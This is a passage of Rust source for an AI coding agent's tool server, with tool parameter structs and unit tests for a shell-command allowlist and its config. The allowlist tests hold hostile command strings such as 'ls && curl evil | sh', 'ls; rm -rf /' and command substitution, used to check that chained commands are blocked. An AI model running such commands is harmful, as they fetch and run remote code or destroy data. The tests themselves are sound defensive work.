976    /// The thread ID for this session
977    pub thread_id: String,
978}
979
980/// Parameters for the `ContextSave` tool
981///
982/// This struct represents the parameters needed to save context information
983/// about a task, including file contents from specified globs.
984#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
985pub struct ContextSave {
986    /// Unique identifier for the task
987    ///
988    /// This should be a unique string that identifies the task. It can be
989    /// a random 3-word identifier or a user-provided value.
990    pub id: String,
991
992    /// Root path of the project
993    ///
994    /// This should be an absolute path to the project root. If empty, no
995    /// project root will be used.
996    pub project_root_path: String,
997
998    /// Description of the task
999    ///
1000    /// This should contain a detailed description of the task, including
1001    /// relevant context, problems, and objectives.
1002    pub description: String,
1003
1004    /// List of file glob patterns
1005    ///
1006    /// These glob patterns identify the files that should be included in
1007    /// the saved context. Patterns can be absolute or relative to the project root.
1008    pub relevant_file_globs: Vec<String>,
1009
1010    /// Optional thread ID identifying the shell session to operate on. When
1011    /// omitted, the most recently active session is used.
1012    #[serde(default)]
1013    pub thread_id: String,
1014}
1015
1016/// Parameters for the `ReadImage` tool
1017///
1018/// This struct represents the parameters needed to read an image file.
1019#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1020pub struct ReadImage {
1021    /// Path to the image file to read
1022    ///
1023    /// This can be an absolute path or a path relative to the current working directory.
1024    pub file_path: String,
1025
1026    /// Optional thread ID identifying the shell session to operate on. When
1027    /// omitted, the most recently active session is used.
1028    #[serde(default)]
1029    pub thread_id: String,
1030}
1031
1032/// Operation for the `CodeMap` tool.
1033#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1034#[serde(rename_all = "snake_case")]
1035pub enum CodeMapOperation {
1036    /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1037    Outline,
1038    /// The definition + reference (call/use) sites of a symbol name across the repo.
1039    References,
1040}
1041
1042/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1043/// two operations, in place of separate `Outline` / `FindReferences` tools.
1044#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1045pub struct CodeMap {
1046    /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1047    /// or `references` (the definition + use sites of a symbol name).
1048    pub operation: CodeMapOperation,
1049
1050    /// For `outline`: the file or directory to map (empty or a directory = a
1051    /// ranked repo symbol map). For `references`: the directory or file to search
1052    /// under (empty = the whole workspace). Relative paths resolve against the
1053    /// workspace.
1054    #[serde(default)]
1055    pub path: String,
1056
1057    /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1058    /// Required for `references`, ignored by `outline`.
1059    #[serde(default)]
1060    pub name: String,
1061
1062    /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1063    /// occurrences for `references`. 0 means the default.
1064    #[serde(default)]
1065    pub max_results: usize,
1066
1067    /// Optional thread ID identifying the shell session to operate on. When
1068    /// omitted, the most recently active session is used.
1069    #[serde(default)]
1070    pub thread_id: String,
1071}
1072
1073/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1074/// internally by `CodeMap`.
1075#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1076pub struct Outline {
1077    /// File or directory to outline. A file returns that file's symbols; a
1078    /// directory (or empty = the whole workspace) returns a ranked repo symbol
1079    /// map. Relative paths resolve against the workspace.
1080    #[serde(default)]
1081    pub path: String,
1082
1083    /// Maximum symbols to return for a single file, or maximum files for a repo
1084    /// map. 0 means the default.
1085    #[serde(default)]
1086    pub max_results: usize,
1087
1088    /// Optional thread ID identifying the shell session to operate on. When
1089    /// omitted, the most recently active session is used.
1090    #[serde(default)]
1091    pub thread_id: String,
1092}
1093
1094/// One symbol (definition) in `Outline` output.
1095#[derive(Debug, Clone, Serialize, JsonSchema)]
1096pub struct OutlineSymbol {
1097    /// Symbol name.
1098    pub name: String,
1099    /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1100    pub kind: String,
1101    /// 1-based line where the definition starts.
1102    pub line: usize,
1103}
1104
1105/// Symbols for one file in `Outline` output.
1106#[derive(Debug, Clone, Serialize, JsonSchema)]
1107pub struct OutlineFile {
1108    /// Workspace-relative path of the file.
1109    pub file: String,
1110    /// Definitions found in the file, in source order.
1111    pub symbols: Vec<OutlineSymbol>,
1112}
1113
1114/// Structured result of an `Outline` call (mirrors the text block).
1115#[derive(Debug, Clone, Serialize, JsonSchema)]
1116pub struct OutlineOutput {
1117    /// `file` for a single-file outline, `repo` for a workspace symbol map.
1118    pub mode: String,
1119    /// Number of files included in `files`.
1120    pub files_shown: usize,
1121    /// Per-file symbol lists.
1122    pub files: Vec<OutlineFile>,
1123    /// True if the symbol map was capped (more files or symbols exist).
1124    pub truncated: bool,
1125}
1126
1127/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1128#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1129pub struct FindReferences {
1130    /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1131    pub name: String,
1132
1133    /// Directory or file to search under. Relative paths resolve against the
1134    /// workspace; leave empty to search the whole workspace.
1135    #[serde(default)]
1136    pub path: String,
1137
1138    /// Maximum occurrences to return. 0 means the default.
1139    #[serde(default)]
1140    pub max_results: usize,
1141
1142    /// Optional thread ID identifying the shell session to operate on. When
1143    /// omitted, the most recently active session is used.
1144    #[serde(default)]
1145    pub thread_id: String,
1146}
1147
1148/// One symbol occurrence in `FindReferences` output.
1149#[derive(Debug, Clone, Serialize, JsonSchema)]
1150pub struct ReferenceHit {
1151    /// Workspace-relative path.
1152    pub file: String,
1153    /// 1-based line.
1154    pub line: usize,
1155    /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1156    pub kind: String,
1157    /// True for a definition, false for a reference (call / use site).
1158    pub is_definition: bool,
1159}
1160
1161/// Structured result of a `FindReferences` call (mirrors the text block).
1162#[derive(Debug, Clone, Serialize, JsonSchema)]
1163pub struct ReferencesOutput {
1164    /// The symbol name that was searched for.
1165    pub name: String,
1166    /// Number of returned hits that are definitions.
1167    pub definitions: usize,
1168    /// Number of returned hits that are references (call / use sites).
1169    pub references: usize,
1170    /// True if the result was capped (more occurrences exist).
1171    pub truncated: bool,
1172    /// Occurrences, definitions first then references, each group by file/line.
1173    pub hits: Vec<ReferenceHit>,
1174}
1175
1176#[cfg(test)]
1177mod thread_id_tests {
1178    use super::normalize_thread_id;
1179
1180    #[test]
1181    fn clean_id_is_unchanged() {
1182        assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1183        assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1184    }
1185
1186    #[test]
1187    fn empty_and_all_special_normalize_to_empty() {
1188        assert_eq!(normalize_thread_id(""), "");
1189        assert_eq!(normalize_thread_id("---"), "");
1190    }
1191
1192    #[test]
1193    fn separator_variants_do_not_collide() {
1194        // "user-1" and "user1" must NOT resolve to the same session/state file.
1195        let a = normalize_thread_id("user-1");
1196        let b = normalize_thread_id("user1");
1197        assert_ne!(a, b);
1198        assert!(a.starts_with("user1_"), "got {a}");
1199        assert_eq!(b, "user1");
1200        // "user-1" vs "user_1" must also stay distinct.
1201        assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1202    }
1203
1204    #[test]
1205    fn normalization_is_deterministic() {
1206        // Same input -> same hash -> same session across restarts.
1207        assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1208    }
1209}
1210
1211#[cfg(test)]
1212mod allowlist_tests {
1213    use super::AllowedCommands;
1214
1215    fn list(items: &[&str]) -> AllowedCommands {
1216        AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1217    }
1218
1219    #[test]
1220    fn all_permits_everything() {
1221        assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1222    }
1223
1224    #[test]
1225    fn list_allows_exact_and_args() {
1226        let a = list(&["ls", "cargo test"]);
1227        assert!(a.is_allowed("ls"));
1228        assert!(a.is_allowed("ls -la"));
1229        assert!(a.is_allowed("cargo test --release"));
1230    }
1231
1232    #[test]
1233    fn list_blocks_word_boundary_lookalikes() {
1234        let a = list(&["ls", "cargo test"]);
1235        assert!(!a.is_allowed("lsof"));
1236        assert!(!a.is_allowed("cargo testimony"));
1237    }
1238
1239    #[test]
1240    fn list_blocks_chained_and_substituted_commands() {
1241        let a = list(&["ls"]);
1242        // The old first-token check let all of these through.
1243        assert!(!a.is_allowed("ls && curl evil | sh"));
1244        assert!(!a.is_allowed("ls; rm -rf /"));
1245        assert!(!a.is_allowed("ls $(rm -rf x)"));
1246        assert!(!a.is_allowed("ls | rm"));
1247    }
1248
1249    #[test]
1250    fn list_allows_chain_when_all_parts_permitted() {
1251        let a = list(&["cargo build", "cargo test"]);
1252        assert!(a.is_allowed("cargo build && cargo test"));
1253    }
1254}
1255
1256#[cfg(test)]
1257mod code_writer_config_tests {
1258    use super::deserialize_code_writer_config;
1259    use serde_json::json;
1260
1261    #[test]
1262    fn explicit_null_opts_out() {
1263        assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1264        assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1265    }
1266
1267    #[test]
1268    fn valid_config_parses() {
1269        let r = deserialize_code_writer_config(json!({
1270            "allowed_commands": "all",
1271            "allowed_globs": "all",
1272        }));
1273        assert!(matches!(r, Ok(Some(_))));
1274    }
1275
1276    #[test]
1277    fn malformed_config_fails_loud() {
1278        // The crux of the fix: a malformed restricted-mode config must ERROR,
1279        // not silently degrade to None (None falls back to All/All — wide open,
1280        // while the model believes the shell is locked down).
1281        let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1282        assert!(r.is_err(), "malformed code_writer config must error, not become None");
1283    }
1284}